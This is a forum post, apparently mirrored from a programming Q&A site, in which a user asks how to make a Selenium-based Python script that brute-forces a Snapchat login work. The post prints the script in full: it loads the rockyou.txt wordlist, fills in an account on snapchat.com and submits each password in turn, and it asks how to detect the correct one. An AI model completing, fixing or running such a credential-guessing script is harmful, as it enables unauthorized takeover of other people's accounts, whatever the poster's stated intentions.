[Python] How can I brute force a Snapchat account?

Discussão em 'Python' iniciado por Stack, Março 20, 2025.

  1. Stack

    Stack Membro Participativo

    I took on the challenge of cracking a Snapchat account but my script using Selenium only shows the latest password from my list, not the correct one. I assure you I have no malicious intentions. The correct password is in the password list. How do I check if the password is correct?

    import selenium
    import tqdm
    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from tqdm import tqdm


    def Password_Cracking():
    driver = webdriver.Chrome()
    passwords = []
    for lijn in open("rockyou.txt"):
    passwords.append(lijn.strip())

    driver.get("https://www.snapchat.com/")

    eml =WebDriverWait(driver, 20).until(EC.presence_of_element_located((By.CLASS_NAME, 'sidebar_input__lkly9')))
    eml.send_keys("")
    button =WebDriverWait(driver, 200).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.ColoredButton_blueButton__IeoF4.buttons_sdsButton__57EIz')))
    button.click()
    print(driver.page_source)
    button3 =WebDriverWait(driver, 200).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'button.sdsm-button.button-compact.button-primary.css-1jxg2jk')))
    password =driver.find_element(By.ID,'password')
    for lijn in tqdm(passwords):
    try:
    password.clear()
    password.send_keys(lijn)
    button2 =driver.find_element(By.ID, "password-submit-button")
    button2.click()
    except:
    pass
    return (lijn)
    print(lijn)


    Password_Cracking()

    Continue reading...

Compartilhe esta Página